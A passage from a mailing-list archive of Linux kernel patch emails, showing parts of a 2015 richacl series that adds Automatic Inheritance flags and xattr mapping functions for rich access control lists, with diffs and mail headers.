richacl *acl; + umode_t mode = *mode_p; + + acl = richacl_inherit(dir_acl, S_ISDIR(mode)); + if (acl) { + if (richacl_equiv_mode(acl, &mode) == 0) { + *mode_p &= mode; + richacl_put(acl); + acl = NULL; + } else { + richacl_compute_max_masks(acl); + /* + * Ensure that the acl will not grant any permissions + * beyond the create mode. + */ + acl->a_flags |= RICHACL_MASKED; + acl->a_owner_mask &= + richacl_mode_to_mask(mode >> 6); + acl->a_group_mask &= + richacl_mode_to_mask(mode >> 3); + acl->a_other_mask &= + richacl_mode_to_mask(mode); + } + } else + *mode_p &= ~current_umask(); + + return acl; +} + +/** + * richacl_create - filesystem create helper + * @mode_p: mode of the new inode + * @dir: containing directory + * + * Compute the inherited acl for a new inode. If there is no acl to inherit, + * apply the umask. Use when creating a new inode on a richacl enabled file + * system. + */ +struct richacl *richacl_create(umode_t *mode_p, struct inode *dir) +{ + struct richacl *dir_acl, *acl = NULL; + + if (S_ISLNK(*mode_p)) + return NULL; + dir_acl = get_richacl(dir); + if (dir_acl) { + if (IS_ERR(dir_acl)) + return dir_acl; + acl = richacl_inherit_inode(dir_acl, mode_p); + richacl_put(dir_acl); + } else + *mode_p &= ~current_umask(); + return acl; +} +EXPORT_SYMBOL_GPL(richacl_create); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index ddd5aa6..302872b 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -186,9 +186,11 @@ extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); +extern struct richacl *richacl_inherit(const struct richacl *, int); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); +extern struct richacl *richacl_create(umode_t *, struct inode *); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8246729E13 for ; Fri, 23 Oct 2015 13:44:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6305E8F8035 for ; Fri, 23 Oct 2015 11:44:01 -0700 (PDT) X-ASG-Debug-ID: 1445625839-04cb6c7b843dfb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id z3LMrbpqzUSCiqRp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:00 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 9A1BE341AC4; Fri, 23 Oct 2015 18:43:59 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ej026588; Fri, 23 Oct 2015 14:43:53 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 16/49] richacl: Automatic Inheritance Date: Fri, 23 Oct 2015 20:41:29 +0200 X-ASG-Orig-Subj: [PATCH v12 16/49] richacl: Automatic Inheritance Message-Id: <1445625722-13791-17-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625840 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Automatic Inheritance (AI) allows changes to the acl of a directory to propagate down to children. This is mostly implemented in user space: when a process changes the permissions of a directory and Automatic Inheritance is enabled for that directory, the process must propagate those changes to all children, recursively. The kernel enables this by keeping track of which permissions have been inherited at create time. In addition, it makes sure that permission propagation is turned off when the permissions are set explicitly (for example, upon create or chmod). Automatic Inheritance works as follows: - When the RICHACL_AUTO_INHERIT flag in the acl of a file or directory is not set, the file or directory is not affected by AI. - When the RICHACL_AUTO_INHERIT flag in the acl of a directory is set and a file or subdirectory is created in that directory, the inherited acl will have the RICHACL_AUTO_INHERIT flag set, and all inherited aces will have the RICHACE_INHERITED_ACE flag set. This allows user space to distinguish between aces which have been inherited and aces which have been explicitly added. - When the RICHACL_PROTECTED acl flag in the acl of a file or directory is set, AI will not modify the acl. This does not affect propagation of permissions from the file to its children (if the file is a directory). Linux does not have a way of creating files or directories without setting the file permission bits, so all files created inside a directory with RICHACL_AUTO_INHERIT set will have the RICHACL_PROTECTED flag set. This effectively disables Automatic Inheritance. Protocols which support creating files without specifying permissions can explicitly clear the RICHACL_PROTECTED flag after creating a file and reset the file masks to "undo" applying the create mode; see richacl_compute_max_masks(). They should set the RICHACL_DEFAULTED flag. (A mechanism that would allow to indicate to the kernel to ignore the create mode in the first place when there are inherited permissions would be nice to have.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 10 +++++++++- fs/richacl_inode.c | 7 +++++++ include/linux/richacl.h | 12 ++++++++++++ include/uapi/linux/richacl.h | 11 ++++++++++- 4 files changed, 38 insertions(+), 2 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 9f7d91d..2a9c448 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -366,7 +366,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) acl->a_group_mask == group_mask && acl->a_other_mask == other_mask && (acl->a_flags & RICHACL_MASKED) && - (acl->a_flags & RICHACL_WRITE_THROUGH)) + (acl->a_flags & RICHACL_WRITE_THROUGH) && + (!richacl_is_auto_inherit(acl) || richacl_is_protected(acl))) return acl; clone = richacl_clone(acl, GFP_KERNEL); @@ -378,6 +379,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) clone->a_owner_mask = owner_mask; clone->a_group_mask = group_mask; clone->a_other_mask = other_mask; + if (richacl_is_auto_inherit(clone)) + clone->a_flags |= RICHACL_PROTECTED; return clone; } @@ -551,6 +554,11 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) ace++; } } + if (richacl_is_auto_inherit(dir_acl)) { + acl->a_flags = RICHACL_AUTO_INHERIT; + richacl_for_each_entry(ace, acl) + ace->e_flags |= RICHACE_INHERITED_ACE; + } return acl; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index d2bf076..24276da 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -277,6 +277,13 @@ richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) richacl_put(acl); acl = NULL; } else { + /* + * We need to set RICHACL_PROTECTED because we are + * doing an implicit chmod + */ + if (richacl_is_auto_inherit(acl)) + acl->a_flags |= RICHACL_PROTECTED; + richacl_compute_max_masks(acl); /* * Ensure that the acl will not grant any permissions diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 302872b..7cfa64d 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -76,6 +76,18 @@ extern void set_cached_richacl(struct inode *, struct richacl *); extern void forget_cached_richacl(struct inode *); extern struct richacl *get_richacl(struct inode *); +static inline int +richacl_is_auto_inherit(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_AUTO_INHERIT; +} + +static inline int +richacl_is_protected(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_PROTECTED; +} + /** * richace_is_owner - check if @ace is an OWNER@ entry */ diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h index 1ed48ac..8849a53 100644 --- a/include/uapi/linux/richacl.h +++ b/include/uapi/linux/richacl.h @@ -18,6 +18,9 @@ #define __UAPI_RICHACL_H /* a_flags values */ +#define RICHACL_AUTO_INHERIT 0x01 +#define RICHACL_PROTECTED 0x02 +#define RICHACL_DEFAULTED 0x04 #define RICHACL_WRITE_THROUGH 0x40 #define RICHACL_MASKED 0x80 @@ -31,6 +34,7 @@ #define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 #define RICHACE_INHERIT_ONLY_ACE 0x0008 #define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_INHERITED_ACE 0x0080 #define RICHACE_SPECIAL_WHO 0x4000 /* e_mask bitflags */ @@ -60,6 +64,9 @@ #define RICHACE_EVERYONE_SPECIAL_ID 2 #define RICHACL_VALID_FLAGS ( \ + RICHACL_AUTO_INHERIT | \ + RICHACL_PROTECTED | \ + RICHACL_DEFAULTED | \ RICHACL_WRITE_THROUGH | \ RICHACL_MASKED ) @@ -69,13 +76,15 @@ RICHACE_NO_PROPAGATE_INHERIT_ACE | \ RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ + RICHACE_INHERITED_ACE | \ RICHACE_SPECIAL_WHO ) #define RICHACE_INHERITANCE_FLAGS ( \ RICHACE_FILE_INHERIT_ACE | \ RICHACE_DIRECTORY_INHERIT_ACE | \ RICHACE_NO_PROPAGATE_INHERIT_ACE | \ - RICHACE_INHERIT_ONLY_ACE ) + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_INHERITED_ACE ) /* Valid RICHACE_* flags for directories and non-directories */ #define RICHACE_VALID_MASK ( \ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 40C5C7F77 for ; Fri, 23 Oct 2015 13:44:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 30E988F8035 for ; Fri, 23 Oct 2015 11:44:09 -0700 (PDT) X-ASG-Debug-ID: 1445625846-04cbb0660e3f170001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FtrZthNTVSnpTPVV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:07 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 59773D8E; Fri, 23 Oct 2015 18:44:06 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ek026588; Fri, 23 Oct 2015 14:44:00 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 17/49] richacl: xattr mapping functions Date: Fri, 23 Oct 2015 20:41:30 +0200 X-ASG-Orig-Subj: [PATCH v12 17/49] richacl: xattr mapping functions Message-Id: <1445625722-13791-18-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625847 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Map between "system.richacl" xattrs and the in-kernel representation. Signed-off-by: Andreas Gruenbacher --- fs/Makefile | 2 +- fs/richacl_xattr.c | 220 +++++++++++++++++++++++++++++++++++++ fs/xattr.c | 34 +++++- include/linux/richacl_xattr.h | 42 +++++++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/richacl_xattr.h | 44 ++++++++ include/uapi/linux/xattr.h | 2 + 7 files changed, 338 insertions(+), 7 deletions(-) create mode 100644 fs/richacl_xattr.c create mode 100644 include/linux/richacl_xattr.h create mode 100644 include/uapi/linux/richacl_xattr.h diff --git a/fs/Makefile b/fs/Makefile index ec665fd..35e640d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o +richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o obj-y += quota/ diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c new file mode 100644 index 0000000..38473b6 --- /dev/null +++ b/fs/richacl_xattr.c @@ -0,0 +1,220 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_from_xattr - convert a richacl xattr into the in-memory representation + */ +struct richacl * +richacl_from_xattr(struct user_namespace *user_ns, + const void *value, size_t size) +{ + const struct richacl_xattr *xattr_acl = value; + const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); + struct richacl *acl; + struct richace *ace; + int count; + + if (size < sizeof(*xattr_acl) || + xattr_acl->a_version != RICHACL_XATTR_VERSION || + (xattr_acl->a_flags & ~RICHACL_VALID_FLAGS)) + return ERR_PTR(-EINVAL); + size -= sizeof(*xattr_acl); + count = le16_to_cpu(xattr_acl->a_count); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + if (size != count * sizeof(*xattr_ace)) + return ERR_PTR(-EINVAL); + + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + + acl->a_flags = xattr_acl->a_flags; + acl->a_owner_mask = le32_to_cpu(xattr_acl->a_owner_mask); + if (acl->a_owner_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_group_mask = le32_to_cpu(xattr_acl->a_group_mask); + if (acl->a_group_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_other_mask = le32_to_cpu(xattr_acl->a_other_mask); + if (acl->a_other_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + + richacl_for_each_entry(ace, acl) { + ace->e_type = le16_to_cpu(xattr_ace->e_type); + ace->e_flags = le16_to_cpu(xattr_ace->e_flags); + ace->e_mask = le32_to_cpu(xattr_ace->e_mask); + + if (ace->e_flags & ~RICHACE_VALID_FLAGS) + goto fail_einval; + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + ace->e_id.special = le32_to_cpu(xattr_ace->e_id); + if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) + goto fail_einval; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.gid = make_kgid(user_ns, id); + if (!gid_valid(ace->e_id.gid)) + goto fail_einval; + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.uid = make_kuid(user_ns, id); + if (!uid_valid(ace->e_id.uid)) + goto fail_einval; + } + if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || + (ace->e_mask & ~RICHACE_VALID_MASK)) + goto fail_einval; + + xattr_ace++; + } + + return acl; + +fail_einval: + richacl_put(acl); + return ERR_PTR(-EINVAL); +} +EXPORT_SYMBOL_GPL(richacl_from_xattr); + +/** + * richacl_xattr_size - compute the size of the xattr representation of @acl + */ +size_t +richacl_xattr_size(const struct richacl *acl) +{ + size_t size = sizeof(struct richacl_xattr); + + size += sizeof(struct richace_xattr) * acl->a_count; + return size; +} +EXPORT_SYMBOL_GPL(richacl_xattr_size); + +/** + * richacl_to_xattr - convert @acl into its xattr representation + * @acl: the richacl to convert + * @buffer: buffer for the result + * @size: size of @buffer + */ +int +richacl_to_xattr(struct user_namespace *user_ns, + const struct richacl *acl, void *buffer, size_t size) +{ + struct richacl_xattr *xattr_acl = buffer; + struct richace_xattr *xattr_ace; + const struct richace *ace; + size_t real_size; + + real_size = richacl_xattr_size(acl); + if (!buffer) + return real_size; + if (real_size > size) + return -ERANGE; + + xattr_acl->a_version = RICHACL_XATTR_VERSION; + xattr_acl->a_flags = acl->a_flags; + xattr_acl->a_count = cpu_to_le16(acl->a_count); + + xattr_acl->a_owner_mask = cpu_to_le32(acl->a_owner_mask); + xattr_acl->a_group_mask = cpu_to_le32(acl->a_group_mask); + xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); + + xattr_ace = (void *)(xattr_acl + 1); + richacl_for_each_entry(ace, acl) { + xattr_ace->e_type = cpu_to_le16(ace->e_type); + xattr_ace->e_flags = cpu_to_le16(ace->e_flags); + xattr_ace->e_mask = cpu_to_le32(ace->e_mask); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + xattr_ace->e_id = cpu_to_le32(ace->e_id.special); + else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + xattr_ace->e_id = + cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); + else + xattr_ace->e_id = + cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + xattr_ace++; + } + return real_size; +} +EXPORT_SYMBOL_GPL(richacl_to_xattr); + +/* + * Fix up the uids and gids in richacl extended attributes in place. + */ +static void richacl_fix_xattr_userns( + struct user_namespace *to, struct user_namespace *from, + void *value, size_t size) +{ + struct richacl_xattr *xattr_acl = value; + struct richace_xattr *xattr_ace = + (struct richace_xattr *)(xattr_acl + 1); + unsigned int count; + + if (!value) + return; + if (size < sizeof(*xattr_acl)) + return; + if (xattr_acl->a_version != cpu_to_le32(RICHACL_XATTR_VERSION)) + return; + size -= sizeof(*xattr_acl); + if (size % sizeof(*xattr_ace)) + return; + count = size / sizeof(*xattr_ace); + for (; count; count--, xattr_ace++) { + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + continue; + if (xattr_ace->e_flags & + cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { + u32 id = le32_to_cpu(xattr_ace->e_id); + kgid_t gid = make_kgid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kgid(to, gid)); + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + kuid_t uid = make_kuid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kuid(to, uid)); + } + } +} + +void richacl_fix_xattr_from_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(&init_user_ns, user_ns, value, size); +} + +void richacl_fix_xattr_to_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(user_ns, &init_user_ns, value, size); +} diff --git a/fs/xattr.c b/fs/xattr.c index 072fee1..f2313c6 100644 --- a/fs/xattr.c +++ b/fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include @@ -314,6 +315,18 @@ out: } EXPORT_SYMBOL_GPL(vfs_removexattr); +static void +fix_xattr_from_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_from_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_from_user(kvalue, size); +} /* * Extended attribute SET operations @@ -350,9 +363,7 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value, error = -EFAULT; goto out; } - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_from_user(kvalue, size); + fix_xattr_from_user(kname, kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); @@ -419,6 +430,19 @@ SYSCALL_DEFINE5(fsetxattr, int, fd, const char __user *, name, return error; } +static void +fix_xattr_to_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_to_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_to_user(kvalue, size); +} + /* * Extended attribute GET operations */ @@ -451,9 +475,7 @@ getxattr(struct dentry *d, const char __user *name, void __user *value, error = vfs_getxattr(d, kname, kvalue, size); if (error > 0) { - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_to_user(kvalue, size); + fix_xattr_to_user(kname, kvalue, size); if (size && copy_to_user(value, kvalue, error)) error = -EFAULT; } else if (error == -ERANGE && size >= XATTR_SIZE_MAX) { diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h new file mode 100644 index 0000000..7fc5ca8 --- /dev/null +++ b/include/linux/richacl_xattr.h @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_XATTR_H +#define __RICHACL_XATTR_H + +#include +#include + +extern struct richacl *richacl_from_xattr(struct user_namespace *, const void *, + size_t); +extern size_t richacl_xattr_size(const struct richacl *); +extern int richacl_to_xattr(struct user_namespace *, const struct richacl *, + void *, size_t); + +#ifdef CONFIG_FS_RICHACL +extern void richacl_fix_xattr_from_user(void *, size_t); +extern void richacl_fix_xattr_to_user(void *, size_t); +#else +static inline void richacl_fix_xattr_from_user(void *value, size_t size) +{ +} + +static inline void richacl_fix_xattr_to_user(void *value, size_t size) +{ +} +#endif + +#endif /* __RICHACL_XATTR_H */ diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild index 8c82010..18ad070 100644 --- a/include/uapi/linux/Kbuild +++ b/include/uapi/linux/Kbuild @@ -349,6 +349,7 @@ header-y += reiserfs_fs.h header-y += reiserfs_xattr.h header-y += resource.h header-y += richacl.h +header-y += richacl_xattr.h header-y += rfkill.h header-y += romfs_fs.h header-y += rose.h diff --git a/include/uapi/linux/richacl_xattr.h b/include/uapi/linux/richacl_xattr.h new file mode 100644 index 0000000..5178ca6 --- /dev/null +++ b/include/uapi/linux/richacl_xattr.h @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This file is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_XATTR_H +#define __UAPI_RICHACL_XATTR_H + +#include +#include + +struct richace_xattr { + __le16 e_type; + __le16 e_flags; + __le32 e_mask; + __le32 e_id; +}; + +struct richacl_xattr { + unsigned char a_version; + unsigned char a_flags; + __le16 a_count; + __le32 a_owner_mask; + __le32 a_group_mask; + __le32 a_other_mask; +}; + +#define RICHACL_XATTR_VERSION 0 +#define RICHACL_XATTR_MAX_COUNT \ + ((XATTR_SIZE_MAX - sizeof(struct richacl_xattr)) / \ + sizeof(struct richace_xattr)) + +#endif /* __UAPI_RICHACL_XATTR_H */ diff --git a/include/uapi/linux/xattr.h b/include/uapi/linux/xattr.h index 1590c49..1996903 100644 --- a/include/uapi/linux/xattr.h +++ b/include/uapi/linux/xattr.h @@ -73,5 +73,7 @@ #define XATTR_POSIX_ACL_DEFAULT "posix_acl_default" #define XATTR_NAME_POSIX_ACL_DEFAULT XATTR_SYSTEM_PREFIX XATTR_POSIX_ACL_DEFAULT +#define XATTR_RICHACL "richacl" +#define XATTR_NAME_RICHACL XATTR_SYSTEM_PREFIX XATTR_RICHACL #endif /* _UAPI_LINUX_XATTR_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B816529E14 for ; Fri, 23 Oct 2015 13:44:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9846A8F8033 for ; Fri, 23 Oct 2015 11:44:14 -0700 (PDT) X-ASG-Debug-ID: 1445625853-04cb6c7b853dfd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id L47eTmhGCGOYSQyv (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:13 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 1095B89; Fri, 23 Oct 2015 18:44:13 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3el026588; Fri, 23 Oct 2015 14:44:06 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 18/49] richacl: Add richacl xattr handler Date: Fri, 23 Oct 2015 20:41:31 +0200 X-ASG-Orig-Subj: [PATCH v12 18/49] richacl: Add richacl xattr handler Message-Id: <1445625722-13791-19-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625853 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: 